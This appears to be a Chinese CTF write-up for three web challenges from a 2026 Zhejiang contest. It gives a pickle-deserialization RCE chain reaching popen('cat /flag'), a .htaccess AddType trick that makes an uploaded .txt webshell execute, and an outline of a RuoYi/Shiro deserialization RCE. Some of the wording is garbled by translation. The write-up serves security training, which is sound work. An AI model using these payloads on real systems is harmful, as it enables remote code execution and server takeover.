安全攻防
morning
2026浙江省网络空间安全大赛预赛
摘要
Pickle Me 非预期: flag就在源码当中,应该是出题人忘记更改了 预期解: 这道题目给了预期解,我们可以发现只给了白名单: builtins.getattr os.walk 要求我们手写opencode来实现读取flag,包括源码也给了提示要求我们进行 __global__ 逃逸,其实这里的思路很简单,通过 os.walk 拿全局字典,然后 __getitem__ 进行遍历拿到 pope...
getattr
walk
popen
AddType
application
httpd
php
__getitem__
builtins
__globals__
2026-11-11
1 阅读
约4分钟阅读
先知社区
字号:
Pickle Me非预期:flag就在源码贸易,应该是出题人忘记更改了预期解:这个道题给了预期解,我们可以找到白名单:builtins.getattr os.walk 要求我们手写opencode来实现读取flag,包括源码也给出了提示要求我们进行 __global__ 逃逸,其实这里的思路很简单,通过 os.walk 拿全局字典,然后 __getitem__ 进行只途径达到 popen函数最后进行RCE即可这是一个完整的链子: getattr(getattr(os.walk, "__globals__"), "__getitem__")("popen")("cat /flag").read() 这里需要用pker工具,我们先编写一个脚本,然后用pker编译即可 getattr = GLOBAL("builtins", "getattr") walk = GLOBAL("os", "walk") popen = getattr(getattr(walk, "__globals__"), "__getitem__")("popen") return getattr(popen("cat /flag"), "read")()评估进行编译: 然后进行base64加密 import pickle,base64 a=字节码 print(base64.b64encode(a).decode()) 即可得到flag FileDesk这个题目允许还是比较音符,首先这里上传压缩包,图片,pdf,word文档,这里我们抓包可以看到配置是apache,其实很容易想到.htaccess,大部分因为文件上传是apache服务器的时候都可以尝试利用.htaccess上传然后写马来实现的。这里我们需要配置.htaccess,为AddType application/x-httpd-php AddType内容application/x-httpd-php这里要对什么后缀名进行php解析呢,其实我们可以利用.txt文件写马子进行文件上传即可 AddType application/x-httpd-php .txt AddType application/x-httpd-php .txt 然后将.htaccess和.txt一起进行压缩然后上传即可 1.txt内容为: 当1.txt上传后会被php解析,然后就能实现写马成功,然后中国蚁剑连接:短反射这道题侧面我记得给的提示有SSTI,反序列化,其实得到了这道问题显然我们可以发现这是一个若依的框架,然后我刚刚开始是想通过一把梭看看能不能梭出来的,但是shiro的智慧也爆破不出来,然后我们可以发现若依的版本4.8.1,然后我去题目上网搜了一下,是有RCE的然后就可以直接打了根据常见的路由和参数打开始,发现可以得到shiro的智慧拿到钥匙之后就可以利用shiro反序列一把梭工具,题面又告诉我们执行readflag即可
这篇文章对您有帮助吗?
订阅66必读
每日精选科技资讯,直达你的邮箱